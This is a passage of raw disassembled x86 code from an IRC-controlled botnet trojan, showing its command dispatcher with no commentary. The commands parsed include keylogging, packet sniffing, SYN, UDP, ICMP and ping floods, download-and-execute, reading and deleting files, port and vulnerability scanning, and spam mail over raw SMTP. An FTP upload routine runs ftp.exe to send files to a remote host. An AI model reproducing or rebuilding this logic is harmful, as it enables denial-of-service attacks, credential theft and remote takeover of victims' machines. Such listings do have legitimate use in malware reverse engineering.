push offset aEnz_dn ; "enz.dn"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E56C
push dword ptr [ebp+18h]
push offset aBox_killprocna ; "box.killprocname"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E540
push dword ptr [ebp+18h]
push offset aBox_kpn ; "box.kpn"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E540
push dword ptr [ebp+18h]
push offset aBox_prockillid ; "box.prockillid"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E4E5
push dword ptr [ebp+18h]
push offset aBox_pkid ; "box.pkid"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E4E5
push dword ptr [ebp+18h]
push offset aBox_delete ; "box.delete"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E4AE
push dword ptr [ebp+18h]
push offset aBox_del ; "box.del"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E4AE
push dword ptr [ebp+18h]
push offset aBox_filelist ; "box.filelist"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E493
push dword ptr [ebp+18h]
push offset aBox_fl ; "box.fl"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E493
push dword ptr [ebp+18h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E458
push dword ptr [ebp+18h]
push offset aMirc_cmd ; "mirc.cmd"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E458
push dword ptr [ebp+18h]
push offset aBox_cmd ; "box.cmd"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E40D
push dword ptr [ebp+18h]
push offset aBox_cm ; "box.cm"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E40D
push dword ptr [ebp+18h]
push offset aBox_readfile ; "box.readfile"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E388
push dword ptr [ebp+18h]
push offset aBox_rf ; "box.rf"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E388
push dword ptr [ebp+18h]
push offset aSniff ; "sniff"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40BC6F
push edi
push offset aOn ; "on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40BC37
push 18h
call sub_411BE2
test eax, eax
pop ecx
jle short loc_40BB64
push offset unk_42F380
jmp loc_40EBB4
; ---------------------------------------------------------------------------
loc_40BB64: ; CODE XREF: .nsp0:0040BB58j
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-8Ch]
mov [ebp-4DCh], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-450h], eax
jnz short loc_40BBA6
mov esi, offset dword_425C08
push offset byte_432708
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BBA6
mov esi, [ebp-8Ch]
loc_40BBA6: ; CODE XREF: .nsp0:0040BB88j
; .nsp0:0040BB9Ej
push esi
lea eax, [ebp-4D8h]
push 80h
push eax
call sub_41246A
lea eax, [ebp-2C8h]
push offset unk_42F33C
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 18h
push eax
call sub_41199A
add esp, 20h
mov [ebp-458h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push offset loc_4024DC
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-458h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40BC26
loc_40BC10: ; CODE XREF: .nsp0:0040BC24j
cmp [ebp-44Ch], ebx
jnz loc_40F73A
push 32h
call dword_41D05C ; Sleep
jmp short loc_40BC10
; ---------------------------------------------------------------------------
loc_40BC26: ; CODE XREF: .nsp0:0040BC0Ej
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42F2EC
jmp loc_40F72B
; ---------------------------------------------------------------------------
loc_40BC37: ; CODE XREF: .nsp0:0040BB48j
push edi
push offset aOff ; "off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40F73A
push ebx
push 18h
call sub_411B95
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40BC65
push eax
push offset unk_42F29C
jmp loc_40F72B
; ---------------------------------------------------------------------------
loc_40BC65: ; CODE XREF: .nsp0:0040BC58j
push offset unk_42F260
jmp loc_40EBB4
; ---------------------------------------------------------------------------
loc_40BC6F: ; CODE XREF: .nsp0:0040BB33j
push dword ptr [ebp+18h]
push offset aBox_keylog ; "box.keylog"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40BDE6
push edi
push offset aOn ; "on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40BCE0
push edi
push offset aFile ; "file"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz short loc_40BCE0
push edi
push offset aOff ; "off"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40F73A
push ebx
push 1Ah
call sub_411B95
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40BCD6
push eax
push offset unk_42F204
jmp loc_40F72B
; ---------------------------------------------------------------------------
loc_40BCD6: ; CODE XREF: .nsp0:0040BCC9j
push offset unk_42F1C4
jmp loc_40EBB4
; ---------------------------------------------------------------------------
loc_40BCE0: ; CODE XREF: .nsp0:0040BC95j
; .nsp0:0040BCA6j
push 1Ah
call sub_411BE2
test eax, eax
pop ecx
jle short loc_40BCF6
push offset unk_42F190
jmp loc_40EBB4
; ---------------------------------------------------------------------------
loc_40BCF6: ; CODE XREF: .nsp0:0040BCEAj
mov eax, [ebp+0Ch]
push edi
mov [ebp-4DCh], eax
mov eax, [ebp-4]
push offset aFile ; "file"
mov [ebp-454h], eax
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BD25
mov dword ptr [ebp-450h], 1
jmp short loc_40BD2E
; ---------------------------------------------------------------------------
loc_40BD25: ; CODE XREF: .nsp0:0040BD17j
mov eax, [ebp-8]
mov [ebp-450h], eax
loc_40BD2E: ; CODE XREF: .nsp0:0040BD23j
mov esi, [ebp+esi-8Ch]
cmp esi, ebx
jnz short loc_40BD55
mov esi, offset dword_425C04
push offset byte_432708
push esi
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BD55
mov esi, [ebp-8Ch]
loc_40BD55: ; CODE XREF: .nsp0:0040BD37j
; .nsp0:0040BD4Dj
push esi
lea eax, [ebp-4D4h]
push 80h
push eax
call sub_41246A
lea eax, [ebp-2C8h]
push offset unk_42F15C
push eax
call sub_411EEE
push ebx
lea eax, [ebp-2C8h]
push 1Ah
push eax
call sub_41199A
add esp, 20h
mov [ebp-4D8h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4DCh]
push ebx
push eax
push offset sub_4021FB
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp-4D8h]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_40BDD5
loc_40BDBF: ; CODE XREF: .nsp0:0040BDD3j
cmp [ebp-44Ch], ebx
jnz loc_40F73A
push 32h
call dword_41D05C ; Sleep
jmp short loc_40BDBF
; ---------------------------------------------------------------------------
loc_40BDD5: ; CODE XREF: .nsp0:0040BDBDj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_42F10C
jmp loc_40F72B
; ---------------------------------------------------------------------------
loc_40BDE6: ; CODE XREF: .nsp0:0040BC80j
push dword ptr [ebp+18h]
push offset aBox_net ; "box.net"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40C0B7
cmp dword_433B98, ebx
jz short loc_40BE17
cmp dword_433BC0, ebx
jz short loc_40BE17
push offset dword_42F0B8
jmp loc_40C071
; ---------------------------------------------------------------------------
loc_40BE17: ; CODE XREF: .nsp0:0040BE03j
; .nsp0:0040BE0Bj
cmp [ebp-0Ch], ebx
jz loc_40C07F
mov eax, [ebp+esi-8Ch]
mov [ebp+8], ebx
cmp eax, ebx
mov [ebp+20h], eax
jz short loc_40BE3F
push eax
push dword ptr [ebp-0Ch]
call sub_4124C0
pop ecx
mov [ebp+8], eax
pop ecx
loc_40BE3F: ; CODE XREF: .nsp0:0040BE2Fj
push edi
push offset aStart ; "start"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BEA5
cmp [ebp+20h], ebx
jz short loc_40BE79
push dword ptr [ebp+8]
push 3
loc_40BE5A: ; CODE XREF: .nsp0:0040BEBBj
; .nsp0:0040BED3j ...
call sub_40FA8C
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_411EEE
add esp, 14h
jmp loc_40C07F
; ---------------------------------------------------------------------------
loc_40BE79: ; CODE XREF: .nsp0:0040BE53j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40FD33
add esp, 0Ch
test eax, eax
jz short loc_40BE9B
push offset dword_42F080
jmp loc_40C071
; ---------------------------------------------------------------------------
loc_40BE9B: ; CODE XREF: .nsp0:0040BE8Fj
push offset dword_42F04C
jmp loc_40C071
; ---------------------------------------------------------------------------
loc_40BEA5: ; CODE XREF: .nsp0:0040BE4Ej
push edi
push offset aStop ; "stop"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BEBD
push dword ptr [ebp+8]
push 4
jmp short loc_40BE5A
; ---------------------------------------------------------------------------
loc_40BEBD: ; CODE XREF: .nsp0:0040BEB4j
push edi
push offset aPause ; "pause"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BED5
push dword ptr [ebp+8]
push 5
jmp short loc_40BE5A
; ---------------------------------------------------------------------------
loc_40BED5: ; CODE XREF: .nsp0:0040BECCj
push edi
push offset aContinue ; "continue"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BEF0
push dword ptr [ebp+8]
push 6
jmp loc_40BE5A
; ---------------------------------------------------------------------------
loc_40BEF0: ; CODE XREF: .nsp0:0040BEE4j
push edi
push offset aDelete ; "delete"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BF0B
push dword ptr [ebp+8]
push 1
jmp loc_40BE5A
; ---------------------------------------------------------------------------
loc_40BF0B: ; CODE XREF: .nsp0:0040BEFFj
push edi
push offset aShare ; "share"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40BF88
cmp [ebp+20h], ebx
jz short loc_40BF5B
cmp [ebp-9B0h], bl
jz short loc_40BF31
push ebx
push dword ptr [ebp+20h]
push 1
jmp short loc_40BF3C
; ---------------------------------------------------------------------------
loc_40BF31: ; CODE XREF: .nsp0:0040BF27j
push dword ptr [ebp+esi-88h]
push dword ptr [ebp+20h]
push ebx
loc_40BF3C: ; CODE XREF: .nsp0:0040BF2Fj
call sub_40FE70
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_411EEE
add esp, 18h
jmp loc_40C07F
; ---------------------------------------------------------------------------
loc_40BF5B: ; CODE XREF: .nsp0:0040BF1Fj
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_410065
add esp, 10h
test eax, eax
jz short loc_40BF7E
push offset dword_42EFF8
jmp loc_40C071
; ---------------------------------------------------------------------------
loc_40BF7E: ; CODE XREF: .nsp0:0040BF72j
push offset dword_42EFC4
jmp loc_40C071
; ---------------------------------------------------------------------------
loc_40BF88: ; CODE XREF: .nsp0:0040BF1Aj
push edi
push offset aUser ; "user"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40C024
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40BFFD
cmp [ebp-9B0h], bl
jz short loc_40BFBE
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push ebx
push eax
push 1
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFBE: ; CODE XREF: .nsp0:0040BFAAj
push dword ptr [ebp-4]
mov esi, [ebp+esi-88h]
cmp esi, ebx
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
jz short loc_40BFDA
push esi
push eax
push ebx
jmp short loc_40BFDE
; ---------------------------------------------------------------------------
loc_40BFDA: ; CODE XREF: .nsp0:0040BFD3j
push ebx
push eax
push 2
loc_40BFDE: ; CODE XREF: .nsp0:0040BFBCj
; .nsp0:0040BFD8j
call sub_410186
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_411EEE
add esp, 24h
jmp loc_40C07F
; ---------------------------------------------------------------------------
loc_40BFFD: ; CODE XREF: .nsp0:0040BFA2j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_41069A
add esp, 10h
test eax, eax
jz short loc_40C01D
push offset dword_42EF88
jmp short loc_40C071
; ---------------------------------------------------------------------------
loc_40C01D: ; CODE XREF: .nsp0:0040C014j
push offset dword_42EF58
jmp short loc_40C071
; ---------------------------------------------------------------------------
loc_40C024: ; CODE XREF: .nsp0:0040BF97j
push edi
push offset aSend ; "send"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz short loc_40C06C
cmp [ebp+20h], ebx
jz short loc_40C065
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_41094E
push eax
lea eax, [ebp-2C8h]
push offset aS_1 ; "%s"
push eax
call sub_411EEE
add esp, 1Ch
jmp short loc_40C07F
; ---------------------------------------------------------------------------
loc_40C065: ; CODE XREF: .nsp0:0040C038j
push offset dword_42EF24
jmp short loc_40C071
; ---------------------------------------------------------------------------
loc_40C06C: ; CODE XREF: .nsp0:0040C033j
push offset dword_42EEF4
loc_40C071: ; CODE XREF: .nsp0:0040BE12j
; .nsp0:0040BE96j ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
pop ecx
pop ecx
loc_40C07F: ; CODE XREF: .nsp0:0040BE1Aj
; .nsp0:0040BE74j ...
cmp [ebp-8], ebx
jnz short loc_40C0A0
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40C0A0: ; CODE XREF: .nsp0:0040C082j
; .nsp0:0040E3FDj ...
mov esi, [ebp+2Ch]
loc_40C0A3: ; CODE XREF: .nsp0:0040E519j
; .nsp0:0040E53Bj ...
lea eax, [ebp-2C8h]
push eax
call sub_408E17
pop ecx
mov eax, esi
jmp loc_40A7B7
; ---------------------------------------------------------------------------
loc_40C0B7: ; CODE XREF: .nsp0:0040BDF7j
push dword ptr [ebp+18h]
push offset aEnz_gethost ; "enz.gethost"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E2A4
push dword ptr [ebp+18h]
push offset aEnz_gh ; "enz.gh"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E2A4
mov eax, [ebp+esi-8Ch]
cmp eax, ebx
mov [ebp+20h], eax
jz loc_40A7B4
push dword ptr [ebp+18h]
push offset aEnz_addalias ; "enz.addalias"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E268
push dword ptr [ebp+18h]
push offset aEnz_aa ; "enz.aa"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E268
push dword ptr [ebp+18h]
push offset aEnz_privmsg ; "enz.privmsg"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E215
push dword ptr [ebp+18h]
push offset aEnz_pm ; "enz.pm"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E215
push dword ptr [ebp+18h]
push offset aEnz_action ; "enz.action"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E1A7
push dword ptr [ebp+18h]
push offset aEnz_ac ; "enz.ac"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E1A7
push dword ptr [ebp+18h]
push offset aEnz_cycle ; "enz.cycle"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E144
push dword ptr [ebp+18h]
push offset aEnz_cy ; "enz.cy"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E144
push dword ptr [ebp+18h]
push offset aEnz_mode ; "enz.mode"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E105
push dword ptr [ebp+18h]
push offset aEnz_m ; "enz.m"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E105
push dword ptr [ebp+18h]
push offset aClone_raw ; "clone.raw"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E09A
push dword ptr [ebp+18h]
push offset aClone_ra ; "clone.ra"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E09A
push dword ptr [ebp+18h]
push offset aClone_mode ; "clone.mode"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E018
push dword ptr [ebp+18h]
push offset aClone_m ; "clone.m"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40E018
push dword ptr [ebp+18h]
push offset aClone_nick ; "clone.nick"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DFA7
push dword ptr [ebp+18h]
push offset aClone_ni ; "clone.ni"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DFA7
push dword ptr [ebp+18h]
push offset aClone_join ; "clone.join"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DF81
push dword ptr [ebp+18h]
push offset aClone_j ; "clone.j"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DF81
push dword ptr [ebp+18h]
push offset aClone_part ; "clone.part"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DF1E
push dword ptr [ebp+18h]
push offset aClone_p ; "clone.p"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DF1E
push dword ptr [ebp+18h]
push offset aEnz_repeat ; "enz.repeat"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DE49
push dword ptr [ebp+18h]
push offset aEnz_rp ; "enz.rp"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DE49
push dword ptr [ebp+18h]
push offset aEnz_delay ; "enz.delay"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DDAE
push dword ptr [ebp+18h]
push offset aEnz_de ; "enz.de"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DDAE
push dword ptr [ebp+18h]
push offset aDownload_updiz ; "download.updiz"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DC30
push dword ptr [ebp+18h]
push offset aDownload_upz ; "download.upz"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DC30
push dword ptr [ebp+18h]
push offset aBox_execute ; "box.execute"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DB9D
push dword ptr [ebp+18h]
push offset aBox_e ; "box.e"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DB9D
push dword ptr [ebp+18h]
push offset aBox_findfile ; "box.findfile"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DA90
push dword ptr [ebp+18h]
push offset aBox_ff ; "box.ff"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DA90
push dword ptr [ebp+18h]
push offset aBox_rename ; "box.rename"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DA3C
push dword ptr [ebp+18h]
push offset aBox_mv ; "box.mv"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40DA3C
push dword ptr [ebp+18h]
push offset aDdos_icmp ; "ddos.icmp"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D941
push dword ptr [ebp+18h]
push offset aDdos_ic ; "ddos.ic"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D941
mov eax, [ebp+esi-88h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_40A7B4
push dword ptr [ebp+18h]
push offset aClone_make ; "clone.make"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D856
push dword ptr [ebp+18h]
push offset aClone_start ; "clone.start"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D856
push dword ptr [ebp+18h]
push offset aDs_sy1 ; "ds.sy1"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D751
push dword ptr [ebp+18h]
push offset aDs_ack ; "ds.ack"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D751
push dword ptr [ebp+18h]
push offset aDs_rm ; "ds.rm"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D751
push dword ptr [ebp+18h]
push offset aDdos_synflood ; "ddos.synflood"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D653
push dword ptr [ebp+18h]
push offset aSy1 ; "sy1"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D653
push dword ptr [ebp+18h]
push offset aDownload_fromw ; "download.fromwww"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D515
push dword ptr [ebp+18h]
push offset aD1 ; "d1"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D515
push dword ptr [ebp+18h]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D41B
push dword ptr [ebp+18h]
push offset aServer_rd_on ; "server.rd.on"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D41B
push dword ptr [ebp+18h]
push offset aEnz_portscan ; "enz.portscan"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D328
push dword ptr [ebp+18h]
push offset aEnz_ps ; "enz.ps"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D328
push dword ptr [ebp+18h]
push offset aClone_privmsg ; "clone.privmsg"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D253
push dword ptr [ebp+18h]
push offset aClone_pm ; "clone.pm"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D253
push dword ptr [ebp+18h]
push offset aClone_action ; "clone.action"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D13E
push dword ptr [ebp+18h]
push offset aClone_ac ; "clone.ac"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40D13E
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+10h], eax
jz loc_40A7B4
push dword ptr [ebp+18h]
push offset aVuln_start ; "vuln.start"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CDE7
push dword ptr [ebp+18h]
push offset aVv ; "vv"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CDE7
push dword ptr [ebp+18h]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CCC7
push dword ptr [ebp+18h]
push offset aDdos_udpf ; "ddos.udpf"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CCC7
push dword ptr [ebp+18h]
push offset aPu ; "pu"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CCC7
push dword ptr [ebp+18h]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CB94
push dword ptr [ebp+18h]
push offset aDdos_pingf ; "ddos.pingf"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CB94
push dword ptr [ebp+18h]
push offset aPg ; "pg"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CB94
push dword ptr [ebp+18h]
push offset aDdod ; "ddod"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CA01
push dword ptr [ebp+18h]
push offset aUsa ; "usa"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40CA01
push dword ptr [ebp+18h]
push offset aUtil_email ; "util.email"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40C802
lea eax, [ebp-3E4h]
push edi
push eax
call sub_412600
push dword ptr [ebp+20h]
call sub_41245F
push dword ptr [ebp+8]
mov [ebp+20h], eax
lea eax, [ebp-0D9Ch]
push eax
call sub_412600
push dword ptr [ebp+10h]
lea eax, [ebp-0B94h]
push eax
call sub_412600
push offset asc_421F4C ; " "
push offset a_ ; "_"
push dword ptr [ebp+esi-80h]
call sub_40787E
push eax
lea eax, [ebp-548h]
push eax
call sub_412600
add esp, 30h
lea eax, [ebp-6F4h]
push eax
push 101h
call dword_433A40 ; WSAStartup
lea eax, [ebp-3E4h]
push eax
call dword_433B4C ; gethostbyname
push 6
push 1
push 2
mov edi, eax
call dword_433B48 ; socket
push dword ptr [ebp+20h]
mov esi, eax
mov word ptr [ebp-2D8h], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-2D4h], eax
call dword_433AC8 ; ntohs
mov [ebp-2D6h], ax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0B94h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-159Ch]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_411EEE
add esp, 1Ch
lea eax, [ebp-2D8h]
push 10h
push eax
push esi
call dword_433A70 ; connect
mov edi, 100h
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call dword_433AE0 ; recv
lea eax, [ebp-0C98h]
push ebx
push eax
call sub_4126F0
pop ecx
push eax
lea eax, [ebp-159Ch]
push eax
push esi
call dword_433B18 ; send
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call dword_433AE0 ; recv
push esi
call dword_433B60 ; closesocket
call dword_433A28 ; WSACleanup
lea eax, [ebp-0B94h]
push eax
push offset unk_42EBA8
jmp loc_40DF0A
; ---------------------------------------------------------------------------
loc_40C802: ; CODE XREF: .nsp0:0040C6A7j
push dword ptr [ebp+18h]
push offset aUtil_httpcon ; "util.httpcon"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40C9D3
push dword ptr [ebp+18h]
push offset aUtil_hcon ; "util.hcon"
call sub_412310
pop ecx
test eax, eax
pop ecx
jz loc_40C9D3
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz loc_40A7B4
push dword ptr [ebp+18h]
push offset aFtp_upload ; "ftp.upload"
call sub_412310
pop ecx
test eax, eax
pop ecx
jnz loc_40F7D2
push 4
push esi
call sub_40966A
pop ecx
test eax, eax
pop ecx
jnz short loc_40C8A8
push esi
push offset dword_42EB4C
loc_40C867: ; CODE XREF: .nsp0:0040CB85j
; .nsp0:0040D139j ...
lea eax, [ebp-2C8h]
push eax
call sub_411EEE
add esp, 0Ch
loc_40C876: ; CODE XREF: .nsp0:0040CB69j
; .nsp0:0040D11Dj ...
cmp [ebp-8], ebx
jnz short loc_40C897
push ebx
push dword ptr [ebp-4]
loc_40C87F: ; CODE XREF: .nsp0:0040D74Cj
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
loc_40C88F: ; CODE XREF: .nsp0:0040EE84j
call sub_40F9F1
add esp, 14h
loc_40C897: ; CODE XREF: .nsp0:0040C879j
; .nsp0:0040CCB8j ...
lea eax, [ebp-2C8h]
push eax
call sub_408E17
jmp loc_40F95F
; ---------------------------------------------------------------------------
loc_40C8A8: ; CODE XREF: .nsp0:0040C85Fj
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
pop ecx
call sub_411F4A
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_411F4A
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_411F4A
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-0C9Ch]
push edx
push eax
lea eax, [ebp-0B98h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_411EEE
lea eax, [ebp-0B98h]
push offset aAb ; "ab"
push eax
call sub_4125E8
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_40A7B4
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_412596
push dword ptr [ebp+2Ch]
call sub_412540
lea eax, [ebp-0B98h]
push eax
lea eax, [ebp-3E4h]
push offset aSS_4 ; "-s:%s"
push eax
call sub_411EEE
add esp, 2Ch
lea eax, [ebp-3E4h]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_433A3C ; ShellExecuteA
test eax, eax
push edi
push esi
jz short loc_40C972
push offset dword_42EAD0
jmp short loc_40C977
; ---------------------------------------------------------------------------
loc_40C972: ; CODE XREF: .nsp0:0040C969j
push offset dword_42EA90
loc_40C977: ; CODE XREF: .nsp0:0040C970j
call sub_411EEE
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40C9A0
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40F9F1
add esp, 14h
loc_40C9A0: ; CODE XREF: .nsp0:0040C982j
lea eax, [ebp-2C8h]
push eax
call sub_408E17
loc_40C9AC: ; CODE XREF: .nsp0:0040C9D1j
lea eax, [ebp-0B98h]
push 4
push eax
call sub_40966A
add esp, 0Ch
test eax, eax
jz loc_40A7B4
lea eax, [ebp-0B98h]
push eax
call sub_414103
jmp short loc_40C9AC
; ---------------------------------------------------------------------------
loc_40C9D3: ; CODE XREF: .nsp0:0040C813j
; .nsp0:0040C82Aj
push dword ptr [ebp+esi-80h]
